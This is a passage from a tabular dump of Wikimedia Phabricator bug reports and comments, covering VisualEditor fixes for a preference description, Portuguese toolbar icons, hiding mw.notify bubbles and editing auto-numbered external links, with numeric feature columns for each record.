**Severity**: enhancement",Low,25.0,1373933760,1398713475.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-fe5263dfospwtagdlyvz,task_description,resolved,True,c1,3,True,False,False,2,,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.421052631578948,0.7368421052631579,"Forked from the original request at bug 48666 which was solved by making the preference hidden, as intended.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
246612,VisualEditor: Automatically build the option description for visualeditor-enable,"Change 130075 merged by jenkins-bot:
Add dynamically generated list of namespaces to visualeditor-enable preference

https://gerrit.wikimedia.org/r/130075",,,1398712510,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fe5263dfospwtagdlyvz,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.2272727272727275,0.9545454545454546,"Change 130075 merged by jenkins-bot:
Add dynamically generated list of namespaces to visualeditor-enable preference

GERRIT_URL"
246607,VisualEditor: Automatically build the option description for visualeditor-enable,"Change 130075 had a related patch set uploaded by Alex Monk:
Add dynamically generated list of namespaces to visualeditor-enable preference

https://gerrit.wikimedia.org/r/130075",,,1398694222,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-fe5263dfospwtagdlyvz,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.115384615384615,1.0,"Change 130075 had a related patch set uploaded by Alex Monk:
Add dynamically generated list of namespaces to visualeditor-enable preference

GERRIT_URL"
53392,"VisualEditor: Create i18n toolbar icon for bold for Portuguese, Spanish and Galician","As in Bug T53330, I would like to request the icon for ""Bold"" to be an ""N"" (from ""Negrito"") in Portuguese (""pt"" and ""pt-br"").
",Low,25.0,1373919300,1374771717.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-gguvte4hcswafvyrrjsm,task_description,resolved,True,c1,3,False,False,True,2,,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,19.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,16.0,14.0,0.0,23.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.395348837209302,0.6744186046511628,"As in Bug T53330, I would like to request the icon for ""Bold"" to be an ""N"" (from ""Negrito"") in Portuguese (""pt"" and ""pt-br"").
"
245293,"VisualEditor: Create i18n toolbar icon for bold for Portuguese, Spanish and Galician",This was fixed and deployed yesterday.,,,1374771717,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gguvte4hcswafvyrrjsm,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,This was fixed and deployed yesterday.
53338,mw.notify notifications can't be removed/hidden programmatically,"Use case:
* The user opens VisualEditor
* The user types something that looks like wikitext
* VE notices and displays an mw.notify bubble with autoHide:false
* The user leaves VE by clicking on the Read tab
* The editor is torn down and we go back to view mode, but the bubble persists

I would like to be able to remove this bubble when the editor is torn down, but mw.notification doesn't expose an API for this. There is a .close() method on Notification, but there's no way to get the Notification object created by mw.notify().

--------------------------
**Version**: 1.22.0
**Severity**: enhancement",Low,25.0,1373853480,1382188535.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-mjeduabrtvm33uiu3e4a,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.5,0.0,1.0,0.5,2.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,1.0,0.0,2.5,8.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,11.5,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,6.5,2.5,9.5,0.5,3.0,8.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,1.0,8.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.5,0.0,0.0,0.0,3.808274802458297,0.7111501316944688,"Use case:
* The user opens VisualEditor
* The user types something that looks like wikitext
* VE notices and displays an mw.notify bubble with autoHide:false
* The user leaves VE by clicking on the Read tab
* The editor is torn down and we go back to view mode, but the bubble persists

I would like to be able to remove this bubble when the editor is torn down, but mw.notification doesn't expose an API for this. There is a .close() method on Notification, but there's no way to get the Notification object created by mw.notify().

--------------------------
**Version**: 1.22.0
**Severity**: enhancement"
242306,mw.notify notifications can't be removed/hidden programmatically,"Change 74407 merged by jenkins-bot:
mediawiki.notification: Expose close method to hide a Notification

https://gerrit.wikimedia.org/r/74407",,,1382187742,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mjeduabrtvm33uiu3e4a,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.15,0.95,"Change 74407 merged by jenkins-bot:
mediawiki.notification: Expose close method to hide a Notification

GERRIT_URL"
242305,mw.notify notifications can't be removed/hidden programmatically,"Change 74407 had a related patch set uploaded by Alex Monk:
Return Notification object from mw.notification.notify

https://gerrit.wikimedia.org/r/74407",,,1374170832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mjeduabrtvm33uiu3e4a,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,30.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.6,1.0,"Change 74407 had a related patch set uploaded by Alex Monk:
Return Notification object from mw.notification.notify

GERRIT_URL"
242302,mw.notify notifications can't be removed/hidden programmatically,"(In reply to comment #2)
> I'd say that this is expected behavior and a ""feature"" of the shorthand. Just
> like you can't have a message parsed by just doing mw.msg(), you have to use
> mw.message().whatever() instead.
> 
> Alex's solution makes sense at a glance.
Returning the Notification object would fix this, yes. Unfortunately, that change is still pending review.",,,1374170547,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-mjeduabrtvm33uiu3e4a,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,24.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,5.0,3.0,3.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.763157894736842,0.7105263157894737,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Returning the Notification object would fix this, yes. Unfortunately, that change is still pending review."
242299,mw.notify notifications can't be removed/hidden programmatically,"I'd say that this is expected behavior and a ""feature"" of the shorthand. Just like you can't have a message parsed by just doing mw.msg(), you have to use mw.message().whatever() instead.

Alex's solution makes sense at a glance.",,,1373910457,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-mjeduabrtvm33uiu3e4a,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,8.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,13.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,6.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,4.0,0.0,4.0,0.0,6.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,3.7115384615384617,0.8269230769230769,"I'd say that this is expected behavior and a ""feature"" of the shorthand. Just like you can't have a message parsed by just doing mw.msg(), you have to use mw.message().whatever() instead.

Alex's solution makes sense at a glance."
242293,mw.notify notifications can't be removed/hidden programmatically,"I had this problem in Gerrit change 5130. Had to depend on mediawiki.notification, add a 'return notif' to the mw.notification.notify function and use that instead of mw.notify.",,,1373855119,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-mjeduabrtvm33uiu3e4a,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,3.0,16.0,3.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.71875,0.90625,"I had this problem in Gerrit change 5130. Had to depend on mediawiki.notification, add a 'return notif' to the mw.notification.notify function and use that instead of mw.notify."
53336,"VisualEditor: Deleting new line icon (""↵"") between two links has no effect (?)","If an article has 

[external link]
[external link]

It is rendered in VE as:

[external link]↵[external link]

Selecting the ↵ and pressing delete causes the ↵ to be removed, however the link break is not removed, and saving says that there are no changes.

Example:
https://en.wikipedia.org/wiki/Otis_%28album%29?veaction=edit

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1373850900,1429478524.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-pkpe26l4yvkcclna5vl6,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,4.0,1.0,7.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,6.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,4.0,3.619047619047619,0.5833333333333334,"If an article has 

[external link]
[external link]

It is rendered in VE as:

[external link]↵[external link]

Selecting the ↵ and pressing delete causes the ↵ to be removed, however the link break is not removed, and saving says that there are no changes.

Example:
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
446014,"VisualEditor: Deleting new line icon (""↵"") between two links has no effect (?)","This appears to work correctly now.

(The article no longer has this wikitext now, but I tried on an older version: https://en.wikipedia.org/w/index.php?title=Otis_(album)&oldid=512105119&veaction=edit – be sure to only preview changes and do not accidentally save the article.)",,,1429478513,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-pkpe26l4yvkcclna5vl6,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,19.0,7.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,9.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.7674418604651163,0.9069767441860465,"This appears to work correctly now.

(The article no longer has this wikitext now, but I tried on an older version: URL – be sure to only preview changes and do not accidentally save the article.)"
242201,"VisualEditor: Deleting new line icon (""↵"") between two links has no effect (?)",Possibly a Parsoid bug?,,,1385384555,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pkpe26l4yvkcclna5vl6,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,40.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Possibly a Parsoid bug?
53309,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"The way VisualEditor handles links with square brackets, but no explicit anchor, can be confusing.  These links are generally discouraged on English Wikipedia, but still occasionally used.

An example is https://en.wikipedia.org/w/index.php?title=User:Superm401/Sandbox&veaction=edit&oldid=564175896 .  The wikitext for this is just [http://example.com], which renders as a linked [1] (or whatever number it is in the page)

However, you should edit the latest version of a page for testing this.  When you edit an oldid page, you won't be able to reproduce the ""Save page"" disable behavior I mention below.

VisualEditor lets you backspace to remove the characters one by one, which does not really reflect the model of how the link works.  After one or more is removed, ""Save page"" un-greys.  However, when you go to review the changes, it says, ""Could not start the review because your revision matches the latest version of this page.""

It does let you remove the link entirely, but to do so you need to explicitly remove each character (not just backspace once to delete the whole thing).

Do a fresh load of the edit page (separate test).  Then, click the chain icon next to the link.  Then, press enter twice to exit the link dialog.  This time, review changes works.  The wikitext becomes:

[http://example.com <nowiki>[1]</nowiki>]

It probably should not change the link if you simply enter the link dialog and press enter without changing anything.  Also, forcing it to text like this is inconsistent with what happens if you delete the right bracket (see above).

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1373772420,1409962487.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-67wpkhw2f4styiyn7rfv,task_description,resolved,True,c1,3,True,False,False,1,,0.25,0.25,0.25,0.5,1.25,4.5,1.0,0.25,0.0,0.5,1.0,0.25,0.0,0.0,0.0,0.25,0.0,7.75,7.0,0.25,2.0,0.5,0.0,0.0,0.0,0.25,0.0,0.5,0.5,0.0,0.0,6.75,0.5,1.25,0.5,2.5,0.0,0.25,0.0,0.0,0.25,0.0,0.25,1.75,0.0,0.75,0.0,0.0,0.0,12.25,0.75,0.75,0.25,1.25,0.0,0.0,0.0,0.0,0.0,0.25,0.5,1.25,0.25,0.0,0.0,0.25,0.0,6.75,2.0,7.5,1.5,1.5,9.5,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.25,7.0,2.0,0.0,1.5,0.0,4.25,0.0,1.75,1.25,0.0,0.75,0.25,0.5,1.0,3.805077030812325,0.7041316526610644,"The way VisualEditor handles links with square brackets, but no explicit anchor, can be confusing.  These links are generally discouraged on English Wikipedia, but still occasionally used.

An example is URL .  The wikitext for this is just [URL which renders as a linked [1] (or whatever number it is in the page)

However, you should edit the latest version of a page for testing this.  When you edit an oldid page, you won't be able to reproduce the ""Save page"" disable behavior I mention below.

VisualEditor lets you backspace to remove the characters one by one, which does not really reflect the model of how the link works.  After one or more is removed, ""Save page"" un-greys.  However, when you go to review the changes, it says, ""Could not start the review because your revision matches the latest version of this page.""

It does let you remove the link entirely, but to do so you need to explicitly remove each character (not just backspace once to delete the whole thing).

Do a fresh load of the edit page (separate test).  Then, click the chain icon next to the link.  Then, press enter twice to exit the link dialog.  This time, review changes works.  The wikitext becomes:

[URL <nowiki>[1]</nowiki>]

It probably should not change the link if you simply enter the link dialog and press enter without changing anything.  Also, forcing it to text like this is inconsistent with what happens if you delete the right bracket (see above).

--------------------------
**Version**: unspecified
**Severity**: enhancement"
240700,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"(In reply to Matthew Flaschen from comment #9)
> Is it possible to convert an auto-numbered link to one with arbitrary text
> (that's what the second part of the bug title refers to)?

Yes, that's been possible for a while. In https://meta.wikimedia.org/wiki/Tech/News/2014/27?veaction=edit for example, click on one of the auto-numbered links to edit it, then click ""add label"" to convert it to a ""normal"" link.",,,1410238428,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,62,,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,8.0,2.0,3.0,0.0,3.0,18.0,3.0,0.0,7.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.15,0.7333333333333333,"(In reply to Matthew Flaschen from comment #9)
QUOTE
QUOTE

Yes, that's been possible for a while. In URL for example, click on one of the auto-numbered links to edit it, then click ""add label"" to convert it to a ""normal"" link."
240694,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,Is it possible to convert an auto-numbered link to one with arbitrary text (that's what the second part of the bug title refers to)?,,,1410235672,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,62,,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6333333333333333,0.9,Is it possible to convert an auto-numbered link to one with arbitrary text (that's what the second part of the bug title refers to)?
240686,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"Change 143346 merged by jenkins-bot:
Make it possible to create autonumbered external links from link inspector

https://gerrit.wikimedia.org/r/143346",,,1409962256,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,5.0,14.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.954545454545454,1.0,"Change 143346 merged by jenkins-bot:
Make it possible to create autonumbered external links from link inspector

GERRIT_URL"
240678,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"(In reply to Bartosz Dziewoński from comment #6)
> (In reply to James Forrester from comment #2)
> > You cannot …

[…]

> > * … convert an auto-numbered external link to a real external link; or
> 
> You can do that from ve.ui.MWLinkNodeInspector now, I don't know when it was
> implemented.

Yes, that was fixed a month or so ago with the creation of MWLinkNodeInspector.",,,1404237321,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,25.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,3.4318181818181817,0.75,"(In reply to Bartosz Dziewoński from comment #6)
QUOTE
QUOTE

[…]

QUOTE
QUOTE
QUOTE
QUOTE

Yes, that was fixed a month or so ago with the creation of MWLinkNodeInspector."
240670,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"(In reply to James Forrester from comment #2)
> You cannot …
> 
> * … create an auto-numbered external link; 

My patch https://gerrit.wikimedia.org/r/143346 implements this.

> * … convert an auto-numbered external link to a real external link; or

You can do that from ve.ui.MWLinkNodeInspector now, I don't know when it was implemented.

> * … ""clear formatting"" on an auto-numbered external link.
> 
> I think the first two are valuable, but the third isn't, because we're
> planning to remove the function of removing links and other rich styling
> from the ""clear formatting"" function button.

I don't think treating it as ""formatting"" makes sense anyway.",,,1404233558,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-67wpkhw2f4styiyn7rfv,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,4.0,1.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,4.0,3.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,25.0,1.0,0.0,3.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,8.0,7.0,11.0,0.0,3.0,0.0,8.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6619718309859155,0.6056338028169014,"(In reply to James Forrester from comment #2)
QUOTE
QUOTE
QUOTE

My patch GERRIT_URL implements this.

QUOTE

You can do that from ve.ui.MWLinkNodeInspector now, I don't know when it was implemented.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't think treating it as ""formatting"" makes sense anyway."
240664,VisualEditor: Support creation of auto-numbered external links and to convert them to labeled ones,"Change 143346 had a related patch set uploaded by Bartosz Dziewoński:
Make it possible to create autonumbered external links from link inspector

